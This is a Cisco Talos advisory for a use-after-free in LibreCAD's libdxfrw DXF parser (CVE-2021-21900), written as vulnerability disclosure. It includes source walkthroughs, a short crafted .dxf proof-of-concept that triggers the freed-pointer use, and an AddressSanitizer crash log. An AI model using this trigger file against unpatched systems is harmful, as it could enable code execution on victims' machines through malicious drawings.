Talos Vulnerability Report

TALOS-2021-1351

LibreCad libdxfrw dxfRW::processLType() use-after-free vulnerability

NOVEMBER 17, 2021

CVE NUMBER

CVE-2021-21900

SUMMARY

A code execution vulnerability exists in the dxfRW::processLType() functionality of LibreCad libdxfrw 2.2.0-rc2-19-ge02f3580. A specially-crafted .dxf file can lead to a use-after-free vulnerability. An attacker can provide a malicious file to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

LibreCad libdxfrw 2.2.0-rc2-19-ge02f3580

PRODUCT URLS

libdxfrw - https://librecad.org/

CVSSV3 SCORE

8.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Libdfxfw is an opensource library facilitating the reading and writing of .dxf and .dwg files, the primary vector graphics file formats of CAD software. Libdxfrw is contained in and primarily used by LibreCAD for the aforementioned purposes.

The .dxf file fomat itself is rather simple, consisting solely of `groupCode` and `groupValue` pairs, separated by a newline. For example:

```
0        // groupCode:  0 => new entity
SECTION  // groupValue: 'SECTION' => type of the new entity
2        // groupCode
HEADER   // groupValue
9        // groupCode
$ACADVER // groupValue
```

Each `groupCode` acts like an opcode, and the `groupValue` is put to an opcode-specific purpose. See the following for an example .dxf:

```
0
SECTION
2
TABLES
0
TABLE
2
LTYPE
```

We end up processing the data via the following backtrace:

```
#0  0x00007f0c9723307b in dxfRW::processLType (this=0x7ffc1037c5b0) at/libdxfrw.cpp:2055
#1  0x00007f0c9722fcad in dxfRW::processTables (this=0x7ffc1037c5b0) at/libdxfrw.cpp:2010
#2  0x00007f0c9718e332 in dxfRW::processDxf (this=0x7ffc1037c5b0) at/libdxfrw.cpp:1918
#3  0x00007f0c9718c79a in dxfRW::read (this=0x7ffc1037c5b0, interface_=?, ext=64) at/libdxfrw.cpp:100
```

So to start, let us examine how `LTypes` are processed in dxfRW::processLType:

```
bool dxfRW::processLType() {
    DRW_DBG("dxfRW::processLType\n");
    int code;
    std::string sectionstr;
    bool reading = false;
    DRW_LType ltype;
    while (reader->readRec(&code)) {     // [1]
        DRW_DBG(code); DRW_DBG("\n");
        if (code == 0) { // [2]
            if (reading) {
                ltype.update();
                ////iface->addLType(ltype);
            }
            sectionstr = reader->getString();  // [3]
            DRW_DBG(sectionstr); DRW_DBG("\n");
            if (sectionstr == "LTYPE") {
                reading = true;
                ltype.reset();
            } else if (sectionstr == "ENDTAB") {
                return true;  //found ENDTAB terminate
            }
        } else if (reading) {
            ltype.parseCode(code, reader);  // [4]
        }
    }

    return setError(DRW::BAD_READ_TABLES);
}
```

The `readRec(&code)` function at [1] grabs the `groupCode` from our input .dxf file, and then based on the `LType`-specific opcode, different actions occur. In this case, in order to hit any further code, our opcode must be `0`. Assuming this to be true, we hit the branch at [2], which causes us to read in the `groupValue` at [3], which must be `LTYPE` if we want to go any further. Once we've set `reading` to true, we can finally hit the `DRW_LTYPE::parseCode(code, reader)` function at [4], which we now look at:

```
void DRW_LType::parseCode(int code, dxfReader *reader){
    switch (code) {
        case 3:
            desc = reader->getUtf8String();
            break;
        case 73:
            size = reader->getInt32();
            path.clear();
            path.reserve(size);
            break;
        case 40:
            length = reader->getDouble();
            break;
        case 49:
            path.push_back(reader->getDouble());
            pathIdx++;
            break;
    /*    case 74:
            haveShape = reader->getInt32();
            break;*/
        default:
            DRW_TableEntry::parseCode(code, reader);  // [5]
            break;
    }
}
```

As mentioned before, the opcodes become object-specific after a certain point, and this is where all the nonzero opcodes begin. None of these are really useful, so let's continue into the `DRW_TableEntry::parseCode(code, reader);` function at [5]:

```
void DRW_TableEntry::parseCode(int code, dxfReader *reader){
    switch (code) {
    case 5:
        handle = reader->getHandleString();
        break;
    case 330:
        parentHandle = reader->getHandleString();
        break;
    case 2:
        name = reader->getUtf8String();
        break;
    case 70:
        flags = reader->getInt32();
        break;
    case 1000:
    case 1001:
    case 1002:
    case 1003:
    case 1004:
    case 1005:
        extData.push_back(new DRW_Variant(code, reader->getString()));
        break;
    case 1010:
    case 1011:
    case 1012:
    case 1013:
        curr = new DRW_Variant(code, DRW_Coord(reader->getDouble(), 0.0, 0.0)); // [6]
        extData.push_back(curr);
        break;
    case 1020:
    case 1021:
    case 1022:
    case 1023:
        if (curr)
            curr->setCoordY(reader->getDouble());  // uaf here, why?
    case 1030:
    case 1031:
    case 1032:
    case 1033:
        if (curr)
            curr->setCoordZ(reader->getDouble());
        curr=NULL;
        break;
    case 1040:
    case 1041:
    case 1042:
        extData.push_back(new DRW_Variant(code, reader->getDouble()));
        break;
    case 1070:
    case 1071:
        extData.push_back(new DRW_Variant(code, reader->getInt32() ));
        break;
    default:
        break;
    }
}
```

While lengthy, the main point of this function is to populate the `std::vector<DRW_Variant*> extData;` member of our current `DRW_TableEntry`. Another useful facet of this function is at line [6], where we assign the `DRW_Variant* curr {nullptr};` pointer to the current `DRW_Variant` that we are dealing with. This is necessary when populating coordinates into the current datapoint, as shown by opcodes 1020-1023 and 1030-1033.

Since we hopefully now have a basic understanding of how the `DRW_TableEntry` works, let us now examine a particular .dxf file:

```
0
SECTION
2
TABLES
0
TABLE
2
LTYPE
0
LTYPE  // [7]
1013   // [8]
0
0      // [9]
LTYPE
1023
```

The `groupCode`,`groupValue` pair of (0, LTYPE) causes us to enter the `DRW_LType::parseCode` code path that we just covered by switching on the `reading` mode. Thus when we get to the opcode at [8] (who's `groupValue` doesn't matter), we hit that population of the `curr` variable mentioned before:

```
    case 1013:
        curr = new DRW_Variant(code, DRW_Coord(reader->getDouble(), 0.0, 0.0));
        extData.push_back(curr);
        break;
```

A curious thing occurs however when we hit the 0x0 opcode at [9]:

```
  bool dxfRW::processLType() {
        // [...]

        if (code == 0) {
           if (reading) {
               ltype.update();
               ////iface->addLType(ltype);
           }
           sectionstr = reader->getString();
           DRW_DBG(sectionstr); DRW_DBG("\n");
           if (sectionstr == "LTYPE") { // [10]
               reading = true;
               ltype.reset();  // [11]
           } else if (sectionstr == "ENDTAB") {
               return true;  //found ENDTAB terminate
           }
       } else if (reading) {
           ltype.parseCode(code, reader);
       }
```

If our groupValue for our 0x0 opcode is `LTYPE`, like in the above example, then we enter the branch at [10] and hit the `DRW_LType::reset` function at [11], denoting that we're entering a new `LTYPE` object. Let us dive into what this `ltype.reset()` function does by examining the `DRW_LType` class definition:

```
 class DRW_LType : public DRW_TableEntry {
    SETOBJFRIENDS
public:
    DRW_LType() { reset();}

    void reset(){
        tType = DRW::LTYPE;
        desc = "";
        size = 0;
        length = 0.0;
        pathIdx = 0;
        DRW_TableEntry::reset();  // [12]
    }

protected:
    void parseCode(int code, dxfReader *reader);
    bool parseDwg(DRW::Version version, dwgBuffer *buf, duint32 bs=0);
    void update();

public:
    UTF8STRING desc;           /*!< descriptive string, code 3 */
//    int align;               /*!< align code, always 65 ('A') code 72 */
    int size;                 /*!< element number, code 73 */
    double length;            /*!< total length of pattern, code 40 */
//    int haveShape;      /*!< complex linetype type, code 74 */
    std::vector<double> path;  /*!< trace, point or space length sequence, code 49 */
private:
    int pathIdx;
};
```

Okay, pretty simple, it just calls the parent object's `reset` function, `DRW_TableEntry::reset()` at [12]:

```
class DRW_TableEntry {
    // [...]

    void reset(){
        flags =0;
        for (std::vector<DRW_Variant*>::iterator it=extData.begin(); it!=extData.end(); ++it)
            delete *it;     // [13]
        extData.clear();
    }


public:
    enum DRW::TTYPE tType;     /*!< enum: entity type, code 0 */
    duint32 handle;            /*!< entity identifier, code 5 */
    int parentHandle;          /*!< Soft-pointer ID/handle to owner object, code 330 */
    UTF8STRING name;           /*!< entry name, code 2 */
    int flags;                 /*!< Flags relevant to entry, code 70 */
    std::vector<DRW_Variant*> extData; /*!< FIFO list of extended data, codes 1000 to 1071*/ /// <----- /// [14]

}
```

So in all, the `.reset()` function causes a `DRW_TableEntry` object to walk its own `std::vector<DRW_Variant*> extData`[14] and delete each entry [13] . So coming back to our .dxf example:

```
 0
SECTION
2
TABLES
0
TABLE
2
LTYPE
0
LTYPE
1013   // [14]
0
0      // [15]
LTYPE
1023   // [16]
0
```

The opcode at [14] causes an `extData` entry to be added to our `DRW_TableEntry`, and it also assigns the `DRW_TableEntry`'s `curr` pointer to that object. After this, the opcode at [15] causes each `extData` entry in our `DRW_TableEntry` to be freed. We're left with the opcode at [16], 1023, which causes the following code to be executed:

```
    case 1023:
        if (curr)
            curr->setCoordY(reader->getDouble()); // [17]
```

The `reader` object reads another double from our input file and passes it to `curr->setCoordY()` [17]. To refresh the reader's memory, `curr` points to an entry from our `DRW_TableEntry`'s `std::vector<DRW_Variant*> extData` member, and since we called `DRW_TableEntry::reset`, all of these `extData` objects have been freed. The more subtle issue here is that the `DRW_TableEntry::reset()` function never zeros the object's `curr` pointer, so we bypass the `if (curr)` line and cause a UAF, the use being on a function pointer who's first argument we fully control. This easily leads to code execution.

It's worth noting that, aside from opcodes 1020-1023, opcodes 1030-1033 can also be used to trigger this UAF.

```
    case 1033:
        if (curr)
            curr->setCoordZ(reader->getDouble());
        curr=NULL;
        break;
```

Crash Information

==1066896==ERROR: AddressSanitizer: heap-use-after-free on address 0x607000000300 at pc 0x7f88e3d0cb2f bp 0x7ffc5f76f5e0 sp 0x7ffc5f76f5d8 READ of size 4 at 0x607000000300 thread T0 #0 0x7f88e3d0cb2e in DRW_Variant::setCoordY(double) librecad/LibreCAD_master/libraries/libdxfrw/src/intern/../drw_base.h:237:36 #1 0x7f88e3ec227b in DRW_TableEntry::parseCode(int, dxfReader) librecad/LibreCAD_master/libraries/libdxfrw/src/drw_objects.cpp:61:19 #2 0x7f88e3ed2de1 in DRW_LType::parseCode(int, dxfReader) librecad/LibreCAD_master/libraries/libdxfrw/src/drw_objects.cpp:445:25 #3 0x7f88e3c90c1a in dxfRW::processLType() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:2060:19 #4 0x7f88e3c8dcac in dxfRW::processTables() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:2010:25 #5 0x7f88e3bec331 in dxfRW::processDxf() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:1918:33 #6 0x7f88e3bea799 in dxfRW::read(DRW_Interface, bool) librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:100:16 #7 0x550789 in LLVMFuzzerTestOneInput librecad/fuzzing/dxf/./dxf_harness.cpp:65:9 #8 0x4587e1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x4587e1) #9 0x443f52 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x443f52) #10 0x449a06 in fuzzer::FuzzerDriver(int, char*, int ()(unsigned char const*, unsigned long)) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x449a06) #11 0x4726c2 in main (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x4726c2) #12 0x7f88e324b0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #13 0x41e61d in _start (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x41e61d)

0x607000000300 is located 64 bytes inside of 72-byte region [0x6070000002c0,0x607000000308) freed by thread T0 here: #0 0x54e2fd in operator delete(void) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x54e2fd) #1 0x7f88e3cc2c5b in DRW_TableEntry::reset() librecad/LibreCAD_master/libraries/libdxfrw/src/drw_objects.h:96:13 #2 0x7f88e3c958ab in DRW_LType::reset() librecad/LibreCAD_master/libraries/libdxfrw/src/drw_objects.h:250:25 #3 0x7f88e3c9107a in dxfRW::processLType() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:2055:23 #4 0x7f88e3c8dcac in dxfRW::processTables() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:2010:25 #5 0x7f88e3bec331 in dxfRW::processDxf() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:1918:33 #6 0x7f88e3bea799 in dxfRW::read(DRW_Interface, bool) librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:100:16 #7 0x550789 in LLVMFuzzerTestOneInput librecad/fuzzing/dxf/./dxf_harness.cpp:65:9 #8 0x4587e1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x4587e1) #9 0x443f52 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x443f52) #10 0x449a06 in fuzzer::FuzzerDriver(int, char**, int ()(unsigned char const*, unsigned long)) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x449a06) #11 0x4726c2 in main (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x4726c2) #12 0x7f88e324b0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

previously allocated by thread T0 here: #0 0x54da9d in operator new(unsigned long) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x54da9d) #1 0x7f88e3ec17de in DRW_TableEntry::parseCode(int, dxfReader) librecad/LibreCAD_master/libraries/libdxfrw/src/drw_objects.cpp:53:16 #2 0x7f88e3ed2de1 in DRW_LType::parseCode(int, dxfReader) librecad/LibreCAD_master/libraries/libdxfrw/src/drw_objects.cpp:445:25 #3 0x7f88e3c90c1a in dxfRW::processLType() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:2060:19 #4 0x7f88e3c8dcac in dxfRW::processTables() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:2010:25 #5 0x7f88e3bec331 in dxfRW::processDxf() librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:1918:33 #6 0x7f88e3bea799 in dxfRW::read(DRW_Interface, bool) librecad/LibreCAD_master/libraries/libdxfrw/src/libdxfrw.cpp:100:16 #7 0x550789 in LLVMFuzzerTestOneInput librecad/fuzzing/dxf/./dxf_harness.cpp:65:9 #8 0x4587e1 in fuzzer::Fuzzer::ExecuteCallback(unsigned char const, unsigned long) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x4587e1) #9 0x443f52 in fuzzer::RunOneTest(fuzzer::Fuzzer, char const, unsigned long) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x443f52) #10 0x449a06 in fuzzer::FuzzerDriver(int, char*, int ()(unsigned char const*, unsigned long)) (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x449a06) #11 0x4726c2 in main (librecad/fuzzing/dxf/dxf_fuzzer.bin+0x4726c2) #12 0x7f88e324b0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16

SUMMARY: AddressSanitizer: heap-use-after-free librecad/LibreCAD_master/libraries/libdxfrw/src/intern/../drw_base.h:237:36 in DRW_Variant::setCoordY(double) Shadow bytes around the buggy address: 0x0c0e7fff8010: fa fa fd fd fd fd fd fd fd fd fa fa fa fa fa fa 0x0c0e7fff8020: fd fd fd fd fd fd fd fd fa fa fa fa fa fd fd 0x0c0e7fff8030: fd fd fd fd fd fd fa fa fa fa fa fa fd fd fd fd 0x0c0e7fff8040: fd fd fd fd fa fa fa fa fa fa fd fd fd fd fd fd 0x0c0e7fff8050: fd fd fd fa fa fa fa fa fa fd fd fd fd fd fd fd =>0x0c0e7fff8060:[fd]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff80a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c0e7fff80b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb

TIMELINE

2021-08-04 - Vendor Disclosure
2021-11-10 - Vendor Patched
2021-11-17 - Public Release

CREDIT

Discovered by Lilith >_> of Cisco Talos.